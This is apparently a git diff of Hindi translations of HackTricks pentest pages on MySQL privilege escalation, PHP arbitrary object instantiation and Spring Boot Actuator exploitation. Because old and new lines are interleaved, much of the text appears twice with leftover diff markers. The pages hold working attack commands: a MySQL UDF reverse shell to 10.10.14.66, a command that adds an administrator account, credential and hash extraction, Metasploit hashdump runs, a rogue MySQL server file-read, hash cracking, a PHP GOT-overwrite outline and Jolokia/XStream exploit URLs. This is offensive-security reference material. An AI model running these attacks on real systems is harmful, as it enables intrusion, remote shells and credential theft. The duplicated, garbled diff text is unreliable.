यदि **mysql server is running as root** (या कोई अन्य अधिक विशेषाधिकार प्राप्त उपयोगकर्ता) तो आप इसे कमांड्स execute करने के लिए मजबूर कर सकते हैं। इसके लिए आपको **user defined functions** का उपयोग करना होगा। और एक user defined function बनाने के लिए आपको उस OS के लिए एक **library** चाहिए होगा जिस पर mysql चल रहा है।
इस्तेमाल करने के लिए malicious library sqlmap और metasploit के अंदर मिल सकती है — इसे खोजने के लिए **`locate "*lib_mysqludf_sys*"`** चलाएँ। **`.so`** फाइलें **linux** libraries होती हैं और **`.dll`** फाइलें **Windows** की होती हैं; अपनी आवश्यकता के अनुसार चुनें।
इस्तेमाल करने के लिए malicious library sqlmap और metasploit के अंदर मिल सकती है — इसे खोजने के लिए **`locate "*lib_mysqludf_sys*"`** चलाएँ। **`.so`** फाइलें **linux** libraries हैं और **`.dll`** फाइलें **Windows** वाली हैं, अपनी जरूरत के हिसाब से चुनें।
यदि आपके पास वे libraries **नहीं हैं**, तो आप या तो **उन्हें खोज सकते हैं**, या इस [**linux C code**](https://www.exploit-db.com/exploits/1518) को डाउनलोड करके vulnerable **linux** मशीन के अंदर **कम्पाइल कर सकते हैं**:
यदि आपके पास वे libraries **नहीं हैं**, तो आप या तो उन्हें **look for them**, या इस [**linux C code**](https://www.exploit-db.com/exploits/1518) को डाउनलोड करके **compile it inside the linux vulnerable machine**:
```bash
gcc -g -c raptor_udf2.c
gcc -g -shared -Wl,-soname,raptor_udf2.so -o raptor_udf2.so raptor_udf2.o -lc
```
अब जब आपके पास लाइब्रेरी है, Mysql में privileged user (root?) के रूप में लॉग इन करें और अगले कदमों का पालन करें:
अब जब आपके पास लाइब्रेरी है, तो Mysql में एक privileged user (root?) के रूप में लॉगिन करें और अगले चरणों का पालन करें:
#### Linux
```sql
@ -239,7 +241,7 @@ create function sys_exec returns integer soname 'lib_mysqludf_sys.so';
select sys_exec('id > /tmp/out.txt; chmod 777 /tmp/out.txt');
select sys_exec('bash -c "bash -i >& /dev/tcp/10.10.14.66/1234 0>&1"');
```
#### विंडोज़
#### Windows
```sql
# CHech the linux comments for more indications
USE mysql;
@ -251,38 +253,38 @@ CREATE FUNCTION sys_exec RETURNS integer SONAME 'lib_mysqludf_sys_32.dll';
SELECT sys_exec("net user npn npn12345678 /add");
SELECT sys_exec("net localgroup Administrators npn /add");
```
#### Windows टिप: SQL से NTFS ADS के साथ डायरेक्टरीज़ बनाना
#### Windows tip: create directories with NTFS ADS from SQL
NTFS पर आप alternate data stream का उपयोग करके डायरेक्टरी निर्माण बाध्य कर सकते हैं, भले ही केवल एक file write primitive मौजूद हो। यदि classic UDF chain एक `plugin` डायरेक्टरी की उम्मीद करता है लेकिन वह मौजूद नहीं है और `@@plugin_dir` अज्ञात या लॉकडाउन किया गया है, तो आप पहले इसे `::$INDEX_ALLOCATION` के साथ बना सकते हैं:
NTFS पर आप alternate data stream का उपयोग करके directory creation को मजबूर कर सकते हैं, भले ही केवल एक file write primitive मौजूद हो। अगर classic UDF chain `plugin` directory की उम्मीद करता है लेकिन वह मौजूद नहीं है और `@@plugin_dir` अज्ञात है या लॉक किया गया है, तो आप पहले इसे `::$INDEX_ALLOCATION` से बना सकते हैं:
```sql
SELECT 1 INTO OUTFILE 'C:\\MySQL\\lib\\plugin::$INDEX_ALLOCATION';
-- After this, `C:\\MySQL\\lib\\plugin` exists as a directory
```
यह सीमित `SELECT ... INTO OUTFILE` को Windows स्टैक्स पर UDF drops के लिए आवश्यक फ़ोल्डर संरचना बूटस्ट्रैप करके एक अधिक पूर्ण primitive में बदल देता है।
यह सीमित `SELECT ... INTO OUTFILE` को Windows स्टैक्स पर UDF drops के लिए आवश्यक फ़ोल्डर संरचना तैयार करके एक अधिक पूर्ण प्रिमिटिव में बदल देता है।
### फ़ाइलों से MySQL क्रेडेंशियल निकालना
### Extracting MySQL credentials from files
_/etc/mysql/debian.cnf_ के अंदर आपको उपयोगकर्ता **debian-sys-maint** का **सादा-पाठ पासवर्ड** मिल सकता है
फाइल _/etc/mysql/debian.cnf_ के भीतर आप उपयोगकर्ता **debian-sys-maint** का **सादा-पाठ पासवर्ड** पा सकते हैं
```bash
cat /etc/mysql/debian.cnf
```
आप **इन क्रेडेंशियल्स का उपयोग mysql डेटाबेस में लॉगिन करने के लिए** कर सकते हैं।
आप **use these credentials to login in the mysql database**.
फ़ाइल के अंदर: _/var/lib/mysql/mysql/user.MYD_ आपको **MySQL उपयोगकर्ताओं के सभी hashes** मिलेंगे (वे जिन्हें आप mysql.user से डेटाबेस के अंदर निकाल सकते हैं)_._
फ़ाइल के अंदर: _/var/lib/mysql/mysql/user.MYD_ आप **all the hashes of the MySQL users** (वे जिन्हें आप mysql.user के अंदर से डेटाबेस में निकाल सकते हैं)_._
इन्हें आप इस तरह निकाल सकते हैं:
आप इन्हें निकाल सकते हैं:
```bash
grep -oaE "[-_\.\*a-Z0-9]{3,}" /var/lib/mysql/mysql/user.MYD | grep -v "mysql_native_password"
```
### लॉगिंग सक्षम करना
आप `/etc/mysql/my.cnf` के अंदर mysql क्वेरियों की लॉगिंग सक्ष कर सकत है, निम्नलिखित लाइनों को uncomment करके:
आप mysql queries का लॉग `/etc/mysql/my.cnf` में निम्नलिखित लाइनों पर कॉमेंट हटाकर सक्षम कर सकते हैं:
![](<../images/image (899).png>)
### उपयोगी फाइलें
### उपयोगी फाइलें
कॉन्फ़िगरेशन फ़ाइलें
Configuration Files
- windows \*
- config.ini
@ -297,9 +299,9 @@ grep -oaE "[-_\.\*a-Z0-9]{3,}" /var/lib/mysql/mysql/user.MYD | grep -v "mysql_na
- /var/lib/mysql/my.cnf
- \~/.my.cnf
- /etc/my.cnf
- कमांड इतिहास
- Command History
- \~/.mysql.history
- लॉग फ़ाइलें
- Log Files
- connections.log
- update.log
- common.log
@ -581,7 +583,7 @@ x$host\_summary\_by\_statement\_latency\
x$host_summary_by_statement_type\
x$innodb\_buffer\_stats\_by\_schema\
x$innodb_buffer_stats_by_table\
x$innodb\_lock_waits\
x$innodb\_lock\_waits\
x$io_by_thread_by_latency\
x$io\_global\_by\_file\_by\_bytes\
x$io_global_by_file_by_latency\
@ -609,13 +611,13 @@ x$statements\_with\_errors\_or\_warnings\
x$statements_with_full_table_scans\
x$statements\_with\_runtimes\_in\_95th\_percentile\
x$statements_with_sorting\
x$statements_with_temp_tables\
x$statements\_with\_temp\_tables\
x$user_summary\
x$user\_summary\_by\_file\_io\
x$user_summary_by_file_io_type\
x$user\_summary\_by\_stages\
x$user_summary_by_statement_latency\
x$user\_summary\_by\_statement\_type\
x$user\_summary_by_statement_type\
x$wait_classes_global_by_avg_latency\
x$wait\_classes\_global\_by\_latency\
x$waits_by_host_by_latency\
@ -655,36 +657,36 @@ Note: sourced from https://github.com/carlospolop/legion
Command: msfconsole -q -x 'use auxiliary/scanner/mysql/mysql_version; set RHOSTS {IP}; set RPORT 3306; run; exit' && msfconsole -q -x 'use auxiliary/scanner/mysql/mysql_authbypass_hashdump; set RHOSTS {IP}; set RPORT 3306; run; exit' && msfconsole -q -x 'use auxiliary/admin/mysql/mysql_enum; set RHOSTS {IP}; set RPORT 3306; run; exit' && msfconsole -q -x 'use auxiliary/scanner/mysql/mysql_hashdump; set RHOSTS {IP}; set RPORT 3306; run; exit' && msfconsole -q -x 'use auxiliary/scanner/mysql/mysql_schemadump; set RHOSTS {IP}; set RPORT 3306; run; exit'
```
## 2023-2025 Highlights (new)
## 2023-2025 हाइलाइट्स (नया)
### JDBC `propertiesTransform` deserialization (CVE-2023-21971)
Connector/J <= 8.0.32 से, एक हमलावर जो **JDBC URL** को प्रभावित कर सकता है (उदाहरण के लिए ऐसे third-party software में जो connection string माँगता है) `propertiesTransform` parameter के माध्यम से arbitrary classes को *client* साइड पर लोड करने का अनुरोध कर सकता है। यदि class-path पर मौजूद कोई gadget लोड हो सकता है तो इससे **remote code execution in the context of the JDBC client** होता है (pre-auth, क्योंकि कोई valid credentials आवश्यक नहीं हैं)। एक minimal PoC इस प्रकार दिखता है:
From Connector/J <= 8.0.32 एक हमलावर जो **JDBC URL** को प्रभावित कर सकता है (उदाहरण के लिए third-party software जो एक connection string मांगता है) `propertiesTransform` parameter के माध्यम से *client* साइड पर arbitrary classes को लोड करने का अनुरोध कर सकता है। यदि class-path पर मौजूद कोई gadget लोड करने योग्य है तो इससे **remote code execution in the context of the JDBC client** होता है (pre-auth, क्योंकि किसी वैध क्रेडेंशियल की आवश्यकता नहीं होती)। एक न्यूनतम PoC इस तरह दिखता है:
```java
jdbc:mysql://<attacker-ip>:3306/test?user=root&password=root&propertiesTransform=com.evil.Evil
```
Running `Evil.class` चलाना उतना ही आसान हो सकता है जितना इसे vulnerable application के class-path पर रखना या किसी rogue MySQL server को एक malicious serialized object भेजने देना। इस issue को Connector/J 8.0.33 में fix किया गया था — driver को upgrade करें या explicitly `propertiesTransform` को allow-list पर सेट करें।
(विवरण के लिए Snyk write-up देखें)
Running `Evil.class` can be as easy as producing it on the class-path of the vulnerable application or letting a rogue MySQL server send a malicious serialized object. The issue was fixed in Connector/J 8.0.33 upgrade the driver or explicitly set `propertiesTransform` on an allow-list.
(विस्तार के लिए Snyk write-up देखें)
### Rogue / Fake MySQL server attacks against JDBC clients
ई open-source टूल्स आउटवर्ड कनेक्ट करने वाले JDBC क्लाइंट्स पर हमला करने के लिए MySQL protocol का *partial* हिस्सा implement करते हैं:
### Rogue / Fake MySQL server द्वारा JDBC clients पर हमले
ुछ open-source tools आंशिक MySQL protocol को implement करते हैं ताकि बाहरी कनेक्शन करने वाले JDBC clients पर हमला किया जा सके:
* **mysql-fake-server** (Java, file read और deserialization exploits को सपोर्ट करता है)
* **mysql-fake-server** (Java, file read और deserialization exploits का समर्थन करता है)
* **rogue_mysql_server** (Python, समान क्षमताएँ)
आम हमले के रास्ते:
सामान्य हमला मार्ग:
1. विक्टिम एप्लिकेशन `mysql-connector-j` लोड करता है जिसमें `allowLoadLocalInfile=true` या `autoDeserialize=true` सेट है।
2. आक्रमणकर्ता DNS / host entry नियंत्रित करता है ताकि DB का hostname उनके नियंत्रण वाले मशीन पर resolve हो
3. दुर्भावनापूर्ण सर्वर crafted packets के साथ जवाब देता है जो या तो `LOCAL INFILE` arbitrary file read या Java deserialization को ट्रिगर करते हैं → RCE.
1. लक्षित एप्लिकेशन `mysql-connector-j` को `allowLoadLocalInfile=true` या `autoDeserialize=true` के साथ लोड करती है।
2. हमलावर DNS / host entry नियंत्रित करता है ताकि DB का hostname उनके नियंत्रण वाली मशीन पर resolve हो जाए
3. Malicious server तैयार किए गए packets के साथ जवाब देता है जो `LOCAL INFILE` के जरिए arbitrary file read या Java deserialization → RCE को ट्रिगर करते हैं।
Example one-liner to start a fake server (Java):
नकली सर्वर (Java) शुरू करने के लिए उदाहरण one-liner:
```bash
java -jar fake-mysql-cli.jar -p 3306 # from 4ra1n/mysql-fake-server
```
फिर लक्षित एप्लिकेशन को `jdbc:mysql://attacker:3306/test?allowLoadLocalInfile=true` की ओर पॉइंट करें और *username* फ़ील्ड में फ़ाइलनाम को base64 में एन्कोड करके `/etc/passwd` पढ़ें (`fileread_/etc/passwd``base64ZmlsZXJlYWRfL2V0Yy9wYXNzd2Q=`).
फिर विक्टिम एप्लिकेशन को `jdbc:mysql://attacker:3306/test?allowLoadLocalInfile=true` की ओर इंगित करें और फ़ाइल का नाम base64 में एन्कोड करके *username* फ़ील्ड में डालकर `/etc/passwd` पढ़ें (`fileread_/etc/passwd``base64ZmlsZXJlYWRfL2V0Yy9wYXNzd2Q=`).
### Cracking `caching_sha2_password` hashes
MySQL ≥ 8.0 पासवर्ड हैश को **`$mysql-sha2$`** (SHA-256) के रूप में स्टोर करता है। Hashcat (mode **21100**) और John-the-Ripper (`--format=mysql-sha2`) दोनों 2023 से offline cracking को सपोर्ट करते हैं। `authentication_string` कॉलम को dump करें और सीधे फीड करें:
### `caching_sha2_password` हैशेस क्रैक करना
MySQL ≥ 8.0 पासवर्ड हैशेस को **`$mysql-sha2$`** (SHA-256) के रूप में स्टोर करता है। Hashcat (mode **21100**) और John-the-Ripper (`--format=mysql-sha2`) दोनों 2023 से ऑफ़लाइन क्रैकिंग का समर्थन करते हैं। `authentication_string` कॉलम को डंप करें और इसे सीधे फ़ीड करें:
```bash
# extract hashes
echo "$mysql-sha2$AABBCC…" > hashes.txt
@ -694,11 +696,11 @@ hashcat -a 0 -m 21100 hashes.txt /path/to/wordlist
john --format=mysql-sha2 hashes.txt --wordlist=/path/to/wordlist
```
### हार्डनिंग चेकलिस्ट (2025)
**`LOCAL_INFILE=0`** और **`--secure-file-priv=/var/empty`** सेट करें ताकि अधिकांश फ़ाइल पढ़ने/लिखने की primitives निष्क्रिय हो जाएँ
• एप्लिकेशन खातों से **`FILE`** अधिकार हटा दें
• Connector/J पर `allowLoadLocalInfile=false`, `allowUrlInLocalInfile=false`, `autoDeserialize=false`, `propertiesTransform=` (खाली) सेट करें।
• अप्रयुक्त authentication plugins को अक्षम करें और **TLS अनिवार्य करें** (`require_secure_transport = ON`)।
निगरानी रखें: `CREATE FUNCTION`, `INSTALL COMPONENT`, `INTO OUTFILE`, `LOAD DATA LOCAL` और अचानक होने वाले `SET GLOBAL` स्टेटमेंट्स के लिए।
Set **`LOCAL_INFILE=0`** and **`--secure-file-priv=/var/empty`** ज्यादातर file-read/write primitives को रोकने के लिए
• एप्लिकेशन अकाउंट्स से **`FILE`** privilege हटाएँ
• Connector/J पर `allowLoadLocalInfile=false`, `allowUrlInLocalInfile=false`, `autoDeserialize=false`, `propertiesTransform=` (empty) सेट करें।
• अनुपयोग किए गए authentication plugins को अक्षम करें और **TLS आवश्यक करें** (`require_secure_transport = ON`)।
`CREATE FUNCTION`, `INSTALL COMPONENT`, `INTO OUTFILE`, `LOAD DATA LOCAL` और अचानक `SET GLOBAL` स्टेटमेंट्स के लिए मॉनिटर करें
---

View File

@ -2,17 +2,17 @@
{{#include ../../../banners/hacktricks-training.md}}
यह मूल रूप से [https://swarm.ptsecurity.com/exploiting-arbitrary-object-instantiations/](https://swarm.ptsecurity.com/exploiting-arbitrary-object-instantiations/) का सारांश है
यह मूलतः [https://swarm.ptsecurity.com/exploiting-arbitrary-object-instantiations/](https://swarm.ptsecurity.com/exploiting-arbitrary-object-instantiations/) का सारांश है
## परिचय
नए मनमाने ऑब्जेक्ट्स का निर्माण, जैसे `new $_GET["a"]($_GET["a"])`, Remote Code Execution (RCE) का कारण बन सकता है, जैसा कि [**writeup**](https://swarm.ptsecurity.com/exploiting-arbitrary-object-instantiations/) में विस्तार से बताया गया है। यह दस्तावेज RCE प्राप्त करने की विभिन्न रणनीतियों को उजागर करता है।
new arbitrary objects बनाने से, जैसे `new $_GET["a"]($_GET["a"])`, Remote Code Execution (RCE) हो सकता है, जैसा कि एक [**writeup**](https://swarm.ptsecurity.com/exploiting-arbitrary-object-instantiations/) में विस्तार से बताया गया है। यह दस्तावेज़ RCE हासिल करने की विभिन्न रणनीतियों को उजागर करता है।
## कस्टम क्लासेस या Autoloading के माध्यम से RCE
## Custom Classes या Autoloading के माध्यम से RCE
सिंटैक्स `new $a($b)` का उपयोग किसी ऑब्जेक्ट को instantiate करने के लिए किया जाता है जहाँ **`$a`** क्लास का नाम दर्शाता है और **`$b`** constructor को पास किया गया पहला argument है। ये वेरिएबल्स GET/POST जैसे user inputs से आ सकते हैं, जहाँ वे strings या arrays हो सकते हैं, या JSON से, जहाँ वे अन्य प्रकारों के रूप में प्रकट हो सकते हैं।
सिंटैक्स `new $a($b)` का उपयोग एक object को instantiate करने के लिए किया जाता है जहाँ **`$a`** class name को दर्शाता है और **`$b`** constructor को दिया गया पहला argument है। ये variables user inputs जैसे GET/POST से आ सकते हैं, जहाँ वे strings या arrays हो सकते हैं, या JSON से आ सकते हैं जहाँ वे अन्य प्रकार के रूप में प्रस्तुत हो सकते हैं।
नीचे दिए गए कोड स्निपेट पर विचार करें:
Consider the code snippet below:
```php
class App {
function __construct ($cmd) {
@ -31,9 +31,9 @@ $b = $_GET['b'];
new $a($b);
```
इस मामले में, `$a` को `App` या `App2` और `$b` को एक सिस्टम कमांड (जैसे, `uname -a`) सेट करने पर वह कमांड निष्पादित हो जाती है।
इस उदाहरण में, `$a` को `App` या `App2` और `$b` को एक सिस्टम कमांड (जैसे, `uname -a`) सेट करने पर वह कमांड निष्पादित हो जाती है।
**Autoloading functions** का दुरुपयोग किया जा सकता है अगर ऐसी कोई क्लासेस सीधे उपलब्ध न हों। ये फ़ंक्शन आवश्यकतानुसार फ़ाइलों से क्लासेस को स्वचालित रूप से लोड करते हैं और इन्हें `spl_autoload_register` या `__autoload` का उपयोग करके परिभाषित किया जाता है:
**Autoloading functions** का दुरुपयोग तब किया जा सकता है जब ऐसे क्लासेज़ सीधे उपलब्ध न हों। ये फ़ंक्शन आवश्यकता पड़ने पर फाइलों से ऑटोमैटिक रूप से क्लासेज़ लोड करते हैं और इन्हें `spl_autoload_register` या `__autoload` का उपयोग करके परिभाषित किया जाता है:
```php
spl_autoload_register(function ($class_name) {
include './../classes/' . $class_name . '.php';
@ -45,76 +45,76 @@ include $class_name . '.php';
spl_autoload_register();
```
The behavior of autoloading varies with PHP versions, offering different RCE possibilities.
Autoloading का व्यवहार PHP के संस्करणों के साथ बदलता है, जो अलग-अलग RCE संभावनाएँ प्रदान करता है।
## Built-In Classes के माध्यम से RCE
## RCE via बिल्ट-इन क्लासेस
कस्टम क्लासेस या autoloaders का अभाव होने पर, **built-in PHP classes** RCE के लिए पर्याप्त हो सकती हैं। इन क्लासेस की संख्या PHP संस्करण और एक्सटेंशन्स के आधार पर लगभग 100 से 200 के बीच होती है। इन्हें `get_declared_classes()`ा उपयोग करके सूचीबद्ध किया जा सकता है।
यदि custom classes या autoloaders मौजूद नहीं हैं, तो **बिल्ट-इन PHP क्लासेस** RCE के लिए पर्याप्त हो सकती हैं। इन क्लासेस की संख्या PHP के संस्करण और extensions के आधार पर लगभग 100 से 200 के बीच होती है। इन्हें `get_declared_classes()`े माध्यम से सूचीबद्ध किया जा सकता है।
दिलचस्प constructors को reflection API के माध्यम से पहचाना जा सकता है, जैसा कि निम्न उदाहरण और लिंक [https://3v4l.org/2JEGF](https://3v4l.org/2JEGF) में दिखाया गया है।
रोचक constructors को reflection API के जरिए पहचाना जा सकता है, जैसा कि निम्नलिखित उदाहरण और लिंक [https://3v4l.org/2JEGF](https://3v4l.org/2JEGF) में दिखाया गया है।
**विशेष तरीकों के माध्यम से RCE में शामिल हैं:**
### **SSRF + Phar Deserialization**
The `SplFileObject` class enables SSRF through its constructor, allowing connections to any URL:
`SplFileObject` class अपने constructor के माध्यम से SSRF को सक्षम करता है, जिससे किसी भी URL से कनेक्शन की अनुमति मिलती है:
```php
new SplFileObject('http://attacker.com/');
```
SSRF Phar protocol का उपयोग करके PHP के 8.0 से पहले के संस्करणों में deserialization attacks का कारण बन सकता है।
SSRF, Phar प्रोटोकॉल का उपयोग करके, PHP के 8.0 से पहले के संस्करणों में deserialization attacks का कारण बन सकता है।
### **PDOs का शोषण**
### **Exploiting PDOs**
PDO class constructor DSN strings के माध्यम से डेटाबेस से कनेक्शन की अनुमति देता है, जो संभावित रूप से file creation या अन्य interactions को सक्षम कर सकता है:
PDO class constructor आपको DSN strings के माध्यम से databases से कनेक्ट करने की अनुमति देता है, जो संभावित रूप से file creation या अन्य interactions को सक्षम कर सकता है:
```php
new PDO("sqlite:/tmp/test.txt")
```
### **SoapClient/SimpleXMLElement XXE**
libxml2 के संस्करण पर निर्भर करते हुए, PHP के संस्करण 5.3.22 और 5.4.12 तक `SoapClient` और `SimpleXMLElement` constructors के माध्यम से XXE हमलों के प्रति संवेदनशील थे।
PHP के वे वर्शन 5.3.22 और 5.4.12 तक `SoapClient` और `SimpleXMLElement` कंस्ट्रक्टर्स के माध्यम से XXE अटैक्स के प्रति संवेदनशील थे, जो libxml2 के वर्शन पर निर्भर था
## RCE via Imagick Extension
एक प्रोजेक्ट की निर्भरताओं के विश्लेषण में पता चला कि नए objects instantiate करके **Imagick** को **command execution** के लिए leverage किया जा सकता है। यह कमजोरियों के शोषण का एक मौका प्रस्तुत करता है।
**प्रोजेक्ट की निर्भरताएँ** के विश्लेषण में पता चला कि **Imagick** नए ऑब्जेक्ट्स instantiate करके **command execution** के लिए इस्तेमाल किया जा सकता है। यह कमजोरियों का शोषण करने का अवसर देता है।
### VID parser
VID parser की यह क्षमता कि वह filesystem में किसी भी निर्दिष्ट path पर content लिख सके, पहचानी गई। इससे किसी वेब-एक्सेसिबल directory में एक PHP shell रखने का मार्ग खुल सकता है, जिससे Remote Code Execution (RCE) प्राप्त हो सकता है।
VID parser में फाइल सिस्टम के किसी भी निर्दिष्ट पाथ पर कंटेंट लिखने की क्षमता पाई गई थी। इससे वेब-एक्सेसिबल डायरेक्टरी में एक PHP shell रखने के द्वारा Remote Code Execution (RCE) हासिल किया जा सकता है।
#### VID Parser + File Upload
ध्यान दिया गया है कि PHP अपलोड की गई फाइलों को अस्थायी रूप से `/tmp/phpXXXXXX` में स्टोर करता है। Imagick में VID parser, **msl** protocol का उपयोग करते हुए, file paths में wildcards को संभाल सकता है, जिससे अस्थायी फ़ाइल को किसी चुनी हुई लोकेशन पर स्थानांतरित करना संभव होता है। यह तरीका filesystem में arbitrary file writing हासिल करने का एक अतिरिक्त तरीका प्रदान करता है।
ध्यान दिया गया कि PHP अपलोड की गई फाइलों को अस्थायी रूप से `/tmp/phpXXXXXX` में स्टोर करता है। Imagick का VID parser **msl** प्रोटोकॉल का उपयोग करते हुए फाइल पाथ में wildcards को संभाल सकता है, जिससे अस्थायी फ़ाइल को चुने हुए लोकेशन पर ट्रांसफर करना संभव होता है। यह तरीका फाइल सिस्टम में arbitrary file writing प्राप्त करने का एक अतिरिक्त तरीका प्रदान करता है।
### PHP Crash + Brute Force
एक तरीका जो [**original writeup**](https://swarm.ptsecurity.com/exploiting-arbitrary-object-instantiations/) में वर्णित है, ऐसी फाइलें अपलोड करने पर आधारित है जो deletion से पहले सर्वर crash कर देती हैं। temporary file के नाम को brute-force करके, Imagick के लिए arbitrary PHP code execute करना संभव हो जाता है। हालांकि, यह तकनीक केवल ImageMagick के एक outdated version में ही प्रभावी पाई गई।
[**मूल लेख**](https://swarm.ptsecurity.com/exploiting-arbitrary-object-instantiations/) में वर्णित एक विधि ऐसी फाइलें अपलोड करने पर आधारित है जो डिलीट होने से पहले सर्वर को क्रैश कर देती हैं। अस्थायी फाइल के नाम को brute-force करके, Imagick arbitrary PHP code को execute कर सकता है। हालांकि, यह तकनीक केवल ImageMagick के एक पुराने वर्शन में ही प्रभावी पाई गई थी
## Format-string in class-name resolution (PHP 7.0.0 Bug #71105)
जब user input class name को नियंत्रित करता है (उदा., `new $_GET['model']()`), PHP 7.0.0 ने `Throwable` refactor के दौरान एक अस्थायी bug पेश किया जहाँ engine resolution के दौरान class name को गलती से printf format string के रूप में ट्रीट करता था। इससे PHP के अंदर classic printf-style primitives सक्षम होते हैं: leaks with `%p`, write-count control width specifiers के साथ, और arbitrary writes with `%n` in-process pointers (उदाहरण के लिए, GOT entries on ELF builds) के खिलाफ
जब यूज़र इनपुट क्लास नाम को नियंत्रित करता है (उदा., `new $_GET['model']()`), PHP 7.0.0 में `Throwable` refactor के दौरान एक अस्थायी बग आया जहाँ इंजन क्लास नाम को resolution के दौरान गलती से printf format string की तरह ट्रीट करता था। इससे PHP के अंदर क्लासिक printf-style primitives सक्षम हुए: `%p` के साथ leak, width specifiers के साथ write-count कंट्रोल, और `%n` के साथ प्रोसेस में pointers (उदाहरण के लिए, GOT entries on ELF builds) पर arbitrary writes
न्यूनतम repro vulnerable पैटर्न:
Minimal repro vulnerable pattern:
```php
<?php
$model = $_GET['model'];
$object = new $model();
```
Exploitation outline (from the reference):
- क्लास नाम में `%p` के माध्यम से पते leak करके एक लिखने-योग्य लक्ष्य खोजें:
शोषण रूपरेखा (संदर्भ से):
- class name में `%p` के माध्यम से Leak addresses करके एक writable target खोजें:
```bash
curl "http://host/index.php?model=%p-%p-%p"
# Fatal error includes resolved string with leaked pointers
```
- पोजशनल पैरामीटर्स और width specifiers का उपयोग करके एक सटीक बाइट-काउंट सेट करें, फिर `%n` का उपयोग कर उस मान को स्टैक पर पहुँच योग्य पते पर लिखें, GOT slot (e.g., `free`) को लक्ष्य करके आंशिक रूप से इसे `system` में overwrite करें
- हाइजैक की गई फ़ंक्शन को ट्रिगर करने के लिए ऐसा क्लास नाम पास करें जिसमें एक shell pipe हो ताकि `system("id")` पहुँच सके।
- पोजिशनल पैरामीटर्स और width specifiers का उपयोग करके सटीक byte-count सेट करें, फिर `%n` से उस मान को stack पर पहुंचने वाले address पर लिखें; लक्ष्य एक GOT slot (e.g., `free`) बनाकर उसे आंशिक रूप से ओवरराइट कर `system` में बदलना
- shell pipe वाले class name को पास करके हाइजैक्ड फ़ंक्शन को trigger करें ताकि `system("id")` पहुँच सके।
Notes:
- केवल PHP 7.0.0 पर काम करता है (Bug [#71105](https://bugs.php.net/bug.php?id=71105)); बाद के रिलीज़ में ठीक कर दिया गया। Severity: critical अगर arbitrary class instantiation मौजूद है।
- सामान्य payloads कई `%p` को chain करके स्टैक पर नेविगेट करते हैं, फिर `%.<width>d%<pos>$n` का उपयोग कर आंशिक overwrite कराते हैं।
नोट्स:
- यह केवल PHP 7.0.0 पर काम करता है (Bug [#71105](https://bugs.php.net/bug.php?id=71105)); बाद की रिलीज़ में ठीक किया गया है। Severity: critical अगर arbitrary class instantiation मौजूद है।
- सामान्य payloads कई `%p` को chain करके stack को walkthrough करते हैं, फिर `%.<width>d%<pos>$n` का उपयोग आंशिक ओवरराइट के लिए करते हैं।
## References
## संदर्भ
- https://swarm.ptsecurity.com/exploiting-arbitrary-object-instantiations/
- https://blog.orange.tw/posts/2025-08-the-art-of-php-ch/
- The Art of PHP: CTFborn exploits and techniques
{{#include ../../../banners/hacktricks-training.md}}

View File

@ -6,29 +6,29 @@
<figure><img src="../../images/image (927).png" alt=""><figcaption></figcaption></figure>
**From** [**https://raw.githubusercontent.com/Mike-n1/tips/main/SpringAuthBypass.png**](https://raw.githubusercontent.com/Mike-n1/tips/main/SpringAuthBypass.png)
**स्रोत** [**https://raw.githubusercontent.com/Mike-n1/tips/main/SpringAuthBypass.png**](https://raw.githubusercontent.com/Mike-n1/tips/main/SpringAuthBypass.png)
## Exploiting Spring Boot Actuators
**मूल पोस्ट देखें** \[**https://www.veracode.com/blog/research/exploiting-spring-boot-actuators**]
**मूल पोस्ट देखें:** [**https://www.veracode.com/blog/research/exploiting-spring-boot-actuators**]
### **मुख्य बिंदु:**
- Spring Boot Actuators `/health`, `/trace`, `/beans`, `/env` आदि जैसे endpoints register करते हैं। versions 1 से 1.4 तक ये endpoints authentication के बिना accessible होते हैं। version 1.5 से केवल `/health` और `/info` default रूप से non-sensitive होते हैं, लेकिन developers अक्सर इस security को disable कर देते हैं।
- कुछ Actuator endpoints संवेदनशील डेटा expose कर सकते हैं या हानिकारक actions की अनुमति दे सकते हैं:
- `/dump`, `/trace`, `/logfile`, `/shutdown`, `/mappings`, `/env`, `/actuator/env`, `/restart`, and `/heapdump`.
- Spring Boot 1.x में, actuators root URL के तहत register होते हैं, जबकि 2.x में वे `/actuator/` base path के तहत होते हैं।
- Spring Boot Actuators `/health`, `/trace`, `/beans`, `/env`, आदि जैसे endpoints रजिस्टर करते हैं। वर्ज़न 1 से 1.4 में ये endpoints authentication के बिना उपलब्ध होते हैं। वर्ज़न 1.5 के बाद, केवल `/health` और `/info` डिफ़ॉल्ट रूप से non-sensitive होते हैं, लेकिन developers अक्सर इस security को disable कर देते हैं।
- कुछ Actuator endpoints संवेदनशील डेटा उजागर कर सकते हैं या हानिकारक कार्रवाइयों की अनुमति दे सकते हैं:
- `/dump`, `/trace`, `/logfile`, `/shutdown`, `/mappings`, `/env`, `/actuator/env`, `/restart`, और `/heapdump`.
- Spring Boot 1.x में actuators root URL के तहत रजिस्टर होते हैं, जबकि 2.x में वे `/actuator/` base path के तहत होते हैं।
### **Exploitation Techniques:**
1. **Remote Code Execution via '/jolokia'**:
- `/jolokia` actuator endpoint Jolokia Library को expose करता है, जो MBeans तक HTTP access की अनुमति देता है।
- `reloadByURL` action का इस्तेमाल external URL से logging configurations reload करने के लिए exploit किया जा सकता है, जो crafted XML configurations के माध्यम से blind XXE या Remote Code Execution का कारण बन सकता है।
- `reloadByURL` action का उपयोग external URL से logging configurations reload करने के लिए exploited किया जा सकता है, जिससे crafted XML configurations के ज़रिए blind XXE या Remote Code Execution हो सकता है।
- Example exploit URL: `http://localhost:8090/jolokia/exec/ch.qos.logback.classic:Name=default,Type=ch.qos.logback.classic.jmx.JMXConfigurator/reloadByURL/http:!/!/artsploit.com!/logback.xml`.
2. **Config Modification via '/env'**:
- अगर Spring Cloud Libraries मौजूद हैं, तो `/env` endpoint environmental properties को modify करने की अनुमति देता है।
- Properties को manipulate करके vulnerabilities exploit की जा सकती हैं, जैसे कि Eureka serviceURL में XStream deserialization vulnerability।
- यदि Spring Cloud Libraries मौजूद हैं, तो `/env` endpoint environmental properties को modify करने की अनुमति देता है।
- Properties को manipulate कर vulnerabilities exploit की जा सकती हैं, जैसे Eureka serviceURL में XStream deserialization vulnerability।
- Example exploit POST request:
```
@ -41,20 +41,20 @@ eureka.client.serviceUrl.defaultZone=http://artsploit.com/n/xstream
```
3. **Other Useful Settings**:
- `spring.datasource.tomcat.validationQuery`, `spring.datasource.tomcat.url`, और `spring.datasource.tomcat.max-active` जैसी properties को विभिन्न exploits के लिए manipulate किया जा सकता है, जैसे SQL injection या database connection strings बदलना।
